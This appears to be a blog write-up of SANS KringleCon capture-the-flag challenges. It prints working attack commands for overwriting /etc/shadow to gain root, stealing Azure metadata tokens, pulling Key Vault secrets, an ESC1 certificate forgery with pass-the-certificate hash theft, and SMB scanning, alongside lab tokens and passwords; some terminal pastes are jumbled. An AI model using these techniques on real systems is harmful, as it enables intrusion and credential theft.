Kringlecon23 writeup


Below are a couple of SANS Kringlecon challenges I thought were interesting and wanted to share notes on.

Linux privesc

Just wanted to write-up one of the more interesting challenges; A Linux privesc;

We don't have the sudo binary so sudo -l fails;

We list suid binaries with:

$find / -type f -writable -user root 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/expiry
/usr/bin/newgrp
/usr/bin/su
/usr/bin/wall
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy
/usr/sbin/pam_extrausers_chkpwd
/usr/sbin/unix_chkpwd

Quickly we see the simplecopy binary which isn't usually there.

simplecopy -h tells us how it works.

We run:

$echo -e "root::18474:0:99999:7:::" | /usr/bin/simplecopy /dev/stdin /etc/shadow
$su

And we're now root!

In /root we can now run the ./runmetoanswer binary

Certificate shenaningans

So the Azure app generates a signed public certificate if we pass it our public key (skipping the rsa command to generate it).

 ssh -i .\ssh_cert.pub -i .\ssh_key.pem monitor@ssh-server-vm.santaworkshopgeeseislands.org

Once on the host, we use the azure metadata api to get a token (I tried a lot of privesc stuff first but nothing worked)

monitor@ssh-server-vm:~$ curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com"
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlhdCI6MTcwMTkxOTYyNCwibmJmIjoxNzAxOTE5NjI0LCJleHAiOjE3MDIwMDYzMjQsImFpbyI6IkUyVmdZRWcreWFyU1p1WEFlckZsRXVQR2pMVGxBQT09IiwiYXBwaWQiOiJiODRlMDZkMy1hYmExLTRiY2MtOTYyNi0yZTBkNzZjYmEyY2UiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJyaCI6IjAuQVZFQTJvNmprQVpBMVUyU1RHeWxYS3pCVFVaSWYza0F1dGRQdWtQYXdmajJNQlBRQUFBLiIsInN1YiI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInRpZCI6IjkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZCIsInV0aSI6IlBERHhNZzViSkU2M3hSNkFZd2ZNQUEiLCJ2ZXIiOiIxLjAiLCJ4bXNfYXpfcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5Db21wdXRlL3ZpcnR1YWxNYWNoaW5lcy9zc2gtc2VydmVyLXZtIiwieG1zX2NhZSI6IjEiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5IiwieG1zX3RjZHQiOiIxNjk4NDE3NTU3In0.CcaqNEuhOuliuiVtYGUYo9lN-dE4RpyJXmqb7w_xh39oVIBoXBU1zEZccWb33GKh6UOfjJZET83mvaw_3gO3bo316jdvqlfCe_A9Kf87O-BVPYfFoyPJ-iUEcaNETx-GHJGLDTiWcjGWWrla9OEGIvJxCnpqDUWwidwNIvl5BlxZMOOvj21M6BBisCrCVUe72PcLFZUV455t3XzDMfST_gsuQIMQK9iUogtAQNShCuUvJ-02LtOxWGllqYT07IkeDMhMQWvaiqXrHk4YYrNaO4Go_cyUkFzBOKg8ePZTsq0K05urvpQpKF3dhCnATTsuILpu9bsiWoIMd25AwSbvqA","client_id":"b84e06d3-aba1-4bcc-9626-2e0d76cba2ce","expires_in":"86391","expires_on":"1702006324","ext_expires_in":"86399","not_before":"1701919624","resource":"https://management.azure.com",monitor@ssh-server-vm:~$ token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlhdCI6MTcwMTkxOTYyNCwibmJmIjoxNzAxOTE5NjI0LCJleHAiOjE3MDIwMDYzMjQsImFpbyI6IkUyVmdZRWcreWFyU1p1WEFlckZsRXVQR2pMVGxBQT09IiwiYXBwaWQiOiJiODRlMDZkMy1hYmExLTRiY2MtOTYyNi0yZTBkNzZjYmEyY2UiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJyaCI6IjAuQVZFQTJvNmprQVpBMVUyU1RHeWxYS3pCVFVaSWYza0F1dGRQdWtQYXdmajJNQlBRQUFBLiIsInN1YiI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInRpZCI6IjkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZCIsInV0aSI6IlBERHhNZzViSkU2M3hSNkFZd2ZNQUEiLCJ2ZXIiOiIxLjAiLCJ4bXNfYXpfcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5Db21wdXRlL3ZpcnR1YWxNYWNoaW5lcy9zc2gtc2VydmVyLXZtIiwieG1zX2NhZSI6IjEiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5IiwieG1zX3RjZHQiOiIxNjk4NDE3NTU3In0.CcaqNEuhOuliuiVtYGUYo9lN-dE4RpyJXmqb7w_xh39oVIBoXBU1zEZccWb33GKh6UOfjJZET83mvaw_3gO3bo316jdvqlfCe_A9Kf87O-BVPYfFoyPJ-iUEcaNETx-GHJGLDTiWcjGWWrla9OEGIvJxCnpqDUWwidwNIvl5BlxZMOOvj21M6BBisCrCVUe72PcLFZUV455t3XzDMfST_gsuQIMQK9iUogtAQNShCuUvJ-02LtOxWGllqYT07IkeDMhMQWvaiqXrHk4YYrNaO4Go_cyUkFzBOKg8ePZTsq0K05urvpQpKF3dhCnATTsuILpu9bsiWoIMd25AwSbvqA
monitor@ssh-server-vm:~$ echo $token
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlhdCI6MTcwMTkxOTYyNCwibmJmIjoxNzAxOTE5NjI0LCJleHAiOjE3MDIwMDYzMjQsImFpbyI6IkUyVmdZRWcreWFyU1p1WEFlckZsRXVQR2pMVGxBQT09IiwiYXBwaWQiOiJiODRlMDZkMy1hYmExLTRiY2MtOTYyNi0yZTBkNzZjYmEyY2UiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJyaCI6IjAuQVZFQTJvNmprQVpBMVUyU1RHeWxYS3pCVFVaSWYza0F1dGRQdWtQYXdmajJNQlBRQUFBLiIsInN1YiI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInRpZCI6IjkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZCIsInV0aSI6IlBERHhNZzViSkU2M3hSNkFZd2ZNQUEiLCJ2ZXIiOiIxLjAiLCJ4bXNfYXpfcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5Db21wdXRlL3ZpcnR1YWxNYWNoaW5lcy9zc2gtc2VydmVyLXZtIiwieG1zX2NhZSI6IjEiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5IiwieG1zX3RjZHQiOiIxNjk4NDE3NTU3In0.CcaqNEuhOuliuiVtYGUYo9lN-dE4RpyJXmqb7w_xh39oVIBoXBU1zEZccWb33GKh6UOfjJZET83mvaw_3gO3bo316jdvqlfCe_A9Kf87O-BVPYfFoyPJ-iUEcaNETx-GHJGLDTiWcjGWWrla9OEGIvJxCnpqDUWwidwNIvl5BlxZMOOvj21M6BBisCrCVUe72PcLFZUV455t3XzDMfST_gsuQIMQK9iUogtAQNShCuUvJ-02LtOxWGllqYT07IkeDMhMQWvaiqXrHk4YYrNaO4Go_cyUkFzBOKg8ePZTsq0K05urvpQpKF3dhCnATTsuILpu9bsiWoIMd25AwSbvqA

With the token now working, we list subscriptions and resource groups we have access to:


monitor@ssh-server-vm:~$ wget -qO- --header="Authorization: Bearer $token" https://management.azure.com/subscriptions?api-version=2021-04-01
{"value":[{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64","authorizationSource":"RoleBased","managedByTenants":[],"tags":{"sans:application_owner":"SANS:R&D","finance:business_unit":"curriculum"},"subscriptionId":"2b0942f3-9bca-484b-a508-abdae2db5e64","tenantId":"90a38eda-4006-4dd5-924c-6ca55cacc14d","displayName":"sans-hhc","state":"Enabled","subscriptionPolver-vm:~$ wget -qO- --header="Authorization: Bearer $token" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64//resourceGroups/?aor@ssh
sion=2021-04-01get -qO- --header="Authorization: Bearer $token" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64//resourceGroups/?api-vers
{"value":[{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1","name":"northpole-rg1","type":"Microsoft.Resources/resourceGroups","location":"emonitor@ssh-server-vm:~$ wget -qO- --header="Authorization: Bearer $token" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64//resourceGroups/northpole-rg1/providers/Microsoft.Web/sites?api-version=2021-04-01bca-484b-a508-abdae2db5e64//resourceGroups/?api-vers
monitor@ssh-server-vm:~$ wget -qO- --header="Authorization: Bearer $token" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64//resourceGroups/northpole-rg1/providers/Microsoft.Web/sites?api-version=2021-04-01

No results... No worries, curl -v to the rescue!

monitor@ssh-server-vm:~$ curl -v --header "Authorization: Bearer $token" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2021-04-01"
{"error":{"code":"NoRegisteredProviderFound","message":"No registered resource provider found for location 'eastus' and API version '2021-04-01' for type 'sites'. The supported api-versions are '2023-01-01, 2022-09-01, 2022-03-01, 2021-03-01, 2021-02-01, 2021-01-15, 2021-01-01, 2020-12-01, 2020-10-01, 2020-09-01, 2020-06-01, 2019-08-01, 2018-11-01, 2018-02-01, 2016-08-01, 2015-08-01-preview, 2016-03-01, 2015-08-01, 2015-07-01, 2015-06-01, 2015-05-01, 2015-04-01, 2015-02-01, 2014-11-01, 2014-06-01, 2014-04-01, 2014-04-01-preview, 2015-01-01, 2015-11-01, 2016-09-01, 2017-08-01, 2018-12-01-alpha'. The supported locations are 'msftwestus, msfteastus, msfteastasia, msftnortheurope, eastus2stage, centralusstage, southcentralus, southafricanorth, westus, australiaeast, brazilsouth, southeastasia, centralus, japanwest, centralindia, uksouth, canadaeast, koreacentral, francecentral, northeurope, westus2, eastus, westindia, eastus2, australiacentral, germanywestcentral, norwayeast, uaenorth, swedencentral, qatarcentral* Connection #0 to host management.azure.com left intact
, switzerlandnorth, northcentralus, ukwest, australiasoutheast, koreasouth, canadacentral, westeurope, southindia, westcentralus, westus3, eastasia, japaneast, jioindiawest, polandcentral, italynorth, israelcentral'."}}

Looks like I was using the wrong api version. Changing this to 2023:

"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web","name":"northpole-ssh-certs-fa","type":"Microsoft.Web/sites/sourcecontrols","location":"East US","tags":{"project":"northpole-ssh-certs","create-cert-func-url-path":"/api/create-cert?code=candy-cane-twirl"},"properties":{"repoUrl":"https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa","branch":"main","isManualIntegration":false,"isGitHubAction":true,"deploymentRollbackEnabled":false,"isMercurial":false,"provisioningState":"Succeeded","gitHubActionConfiguration":{"codeConfiguration":null,"containerConfiguration":null,"isLinux":true,"generateWorkflowFile":true,"workflowSettings":{"appType":"functionapp","publishType":"code","os":"linux","variables":{"runtimeVersion":"3.11"},"runtimeStack":"python","workflowApiVersion":"2020-12-01","useCanaryFusionServer":false,"authType":"publishprofile"}}}}

We get a github link.

The python code shows that if we don't pass a principal in the post request, it uses the default one (elf); if we pass it one, it will use the new principal we gave it.

monitor@ssh-server-vm:~$ ls /etc/ssh/auth_principals/
alabaster  monitor
monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/alabaster
admin
monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/monitor
elf

Ok alabaster is using admin as a principal.
Quick edit in Firefox:

And we're good to roll! We can now use the admin ssh cert we got to authenticate as alabaster.

And we see our flag "Gingerbread".

Active directory


For the AD challenge, we learn from one of the elves that we're supposed to use alabaster's account to audit the AD environment the box is on.

Alabaster has impacket installed.

We're doing an Azure Audit from the Azure VM so this isn't your typical AD hacking.

I found this link which had a couple of interesting ssrf attacks https://cybercx.com.au/blog/azure-ssrf-metadata/

This helped me change the script they have to work on our box and get wireserver.key and payload.pfx

#!/bin/bash
# Generate self-signed cert
openssl req -x509 -nodes -subj "/CN=LinuxTransport" -days 730 -newkey rsa:2048 -keyout temp.key -outform DER -out temp.crt
# Get certificates URL from GoalState
CERT_URL=$(curl 'http://168.63.129.16/machine/?comp=goalstate' -H 'x-ms-version: 2015-04-05' -s | grep -oP '(?<=Certificates>).+(?=</Certificates>)' | python -c 'import html, sys; [print(html.unescape(l), end="") for l in sys.stdin]')
# Get encrypted envelope (encrypted with your self-signed cert)
curl $CERT_URL -H 'x-ms-version: 2015-04-05' -H "x-ms-guest-agent-public-x509-cert: $(base64 -w0 ./temp.crt)" -s | grep -Poz '(?<=<Data>)(.*\n)*.*(?=</Data>)' | base64 -di > payload.p7m
# Decrypt envelope
openssl cms -decrypt -inform DER -in payload.p7m -inkey ./temp.key -out payload.pfx
# Unpack archive
openssl pkcs12 -nodes -in payload.pfx -password pass: -out wireserver.key

Turns out, this was a red herring and completely the wrong direction.
I kept digging and enumerated azure apis I could access. Looks like we have 2 subscriptions.

alabaster@ssh-server-vm:~$ curl --header "Authorization: Bearer $token" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/resources?api-version=2023-07-01" | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   489  100   489    0     0   2344      0 --:--:-- --:--:-- --:--:--  2350
{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
      "name": "northpole-ssh-certs-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {}
    },
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
      "name": "northpole-it-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {}
    }
  ]
}

Digging into the subscriptisions, I had access to azure certificates vault.

alabaster@ssh-server-vm:~$ curl --header "Authorization: Bearer $token" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv?api-version=2023-
07-01" | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1149  100  1149    0     0   6513      0 --:--:-- --:--:-- --:--:--  6528
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
  "name": "northpole-ssh-certs-kv",
  "type": "Microsoft.KeyVault/vaults",
  "location": "eastus",
  "tags": {},
  "systemData": {
    "createdBy": "thomas@sanshhc.onmicrosoft.com",
    "createdByType": "User",
    "createdAt": "2023-11-12T01:47:13.059Z",
    "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
    "lastModifiedByType": "User",
    "lastModifiedAt": "2023-11-12T01:50:52.742Z"
  },
  "properties": {
    "sku": {
      "family": "A",
      "name": "standard"
    },
    "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
    "accessPolicies": [
      {
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
        "permissions": {
          "keys": [
            "all"
          ],
          "secrets": [
            "all"
          ],
          "certificates": [
            "all"
          ],
          "storage": [
            "all"
          ]
        }
      },
      {
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
        "permissions": {
          "secrets": [
            "get"
          ]
        }
      }
    ],
    "enabledForDeployment": false,
    "enableSoftDelete": true,
    "softDeleteRetentionInDays": 90,
    "vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
    "provisioningState": "Succeeded",
    "publicNetworkAccess": "Enabled"
  }
}

With the above we can now list what's in these certificate vaults.

{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
  "name": "northpole-it-kv",
  "type": "Microsoft.KeyVault/vaults",
  "location": "eastus",
  "tags": {},
  "systemData": {
    "createdBy": "thomas@sanshhc.onmicrosoft.com",
    "createdByType": "User",
    "createdAt": "2023-10-30T13:17:02.532Z",
    "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
    "lastModifiedByType": "User",
    "lastModifiedAt": "2023-10-30T13:17:02.532Z"
  },
  "properties": {
    "sku": {
      "family": "A",
      "name": "Standard"
    },
    "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
    "accessPolicies": [],
    "enabledForDeployment": false,
    "enabledForDiskEncryption": false,
    "enabledForTemplateDeployment": false,
    "enableSoftDelete": true,
    "softDeleteRetentionInDays": 90,
    "enableRbacAuthorization": true,
    "vaultUri": "https://northpole-it-kv.vault.azure.net/",
    "provisioningState": "Succeeded",
    "publicNetworkAccess": "Enabled"
  }
}

Looks like a powershell script used for boot config. There's credentials in there and dc name and ip.

alabaster@ssh-server-vm:~$ curl --header "Authorization: Bearer $access_token" "https://northpole-it-kv.vault.azure.net/secrets/?api-version=7.4" | jq .
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   244  100   244    0     0   1533      0 --:--:-- --:--:-- --:--:--  1525
{
  "value": [
    {
      "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
      "attributes": {
        "enabled": true,
        "created": 1699564823,
        "updated": 1699564823,
        "recoveryLevel": "Recoverable+Purgeable",
        "recoverableDays": 90
      },
      "tags": {}
    }
  ],
  "nextLink": null
}
alabaster@ssh-server-vm:~$ curl --header "Authorization: Bearer $access_token" "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.4" | jq .
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   639  100   639    0     0   3627      0 --:--:-- --:--:-- --:--:--  3610
{
  "value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
  "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
  "attributes": {
    "enabled": true,
    "created": 1699564823,
    "updated": 1699564823,
    "recoveryLevel": "Recoverable+Purgeable",
    "recoverableDays": 90
  },
  "tags": {}
}

Nice! Now we have: UserDomain, a username and password, DC IP etc.

We can list all AD Users using impacket GetAdUsers

alabaster@ssh-server-vm:~/impacket$ ./GetADUsers.py 'northpole.local/elfy:J4`ufC49/J4766' -all -dc-ip 10.0.0.53 -dc-host
 northpole.local
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying northpole.local for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2023-12-13 01:10:31.560964  2023-12-13 01:23:15.395875
Guest                                                 <never>              <never>
krbtgt                                                2023-12-13 01:17:09.824614  <never>
elfy                                                  2023-12-13 01:19:38.018905  2023-12-13 01:34:56.285815
wombleycube                                           2023-12-13 01:19:38.112684  2023-12-13 01:53:21.388934

We find the CA with:

alabaster@ssh-server-vm:~/impacket$ ./certipy find -u elfy@northpole.locale -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231213025548_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231213025548_Certipy.txt'
[*] Saved JSON output to '20231213025548_Certipy.json'

Trying to access the share with elfy doesn't work so we need to try something else.

We list vulns and templates:

alabaster@ssh-server-vm:~/impacket$ cat 20231213032115_Certipy.txt
Certificate Authorities
  0
    CA Name                             : northpole-npdc01-CA
    DNS Name                            : npdc01.northpole.local
    Certificate Subject                 : CN=northpole-npdc01-CA, DC=northpole, DC=local
    Certificate Serial Number           : 1CEEEF5652362E974A3AC514BC7BB743
    Certificate Validity Start          : 2023-12-13 01:12:18+00:00
    Certificate Validity End            : 2028-12-13 01:22:17+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : NORTHPOLE.LOCAL\Administrators
      Access Rights
        ManageCertificates              : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        ManageCa                        : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Enroll                          : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : NorthPoleUsers
    Display Name                        : NorthPoleUsers
    Certificate Authorities             : northpole-npdc01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Domain Users
                                          NORTHPOLE.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : NORTHPOLE.LOCAL\Enterprise Admins
        Write Owner Principals          : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Dacl Principals           : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Property Principals       : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

So NorthPoleUsers is vulnerable to ESC1

We use the below to generate a cert for wombleycube

alabaster@ssh-server-vm:~/impacket$ certipy req -u 'elfy@northpole.local' -p 'J4`ufC49/J4766' -ca 'northpole-npdc01-CA' -upn 'wombleycube@northpole.local' -dc-ip 10.0.0.53 -template 'NorthPoleUsers'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 28
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'

We now get the wombleycube hash with a pass the certificate attack:

alabaster@ssh-server-vm:~/impacket$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53 -username wombleycube -domain northpole.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

I couldn't find the smb share so I ended up writing a bash script to bruteforce the ip:

#!/bin/bash

# Specify the IP range
ip_range="10.0.0."

# Specify the timeout value in seconds
timeout_duration=2

# Iterate through IPs and attempt anonymous SMB connection
for i in {1..254}; do
    ip="${ip_range}${i}"
    echo "Attempting anonymous SMB connection to ${ip}"
    
    # Use timeout to set a maximum execution time for smbclient.py
    timeout ${timeout_duration} python3 /path/to/impacket/examples/smbclient.py -no-pass ${ip}

    # Check the exit status of the previous command
    if [ $? -eq 0 ]; then
        echo "Anonymous SMB connection successful to ${ip}"
    else
        echo "Connection to ${ip} timed out or failed."
    fi
done
./findsmbshare.sh
Attempting anonymous SMB connection to 10.0.0.49
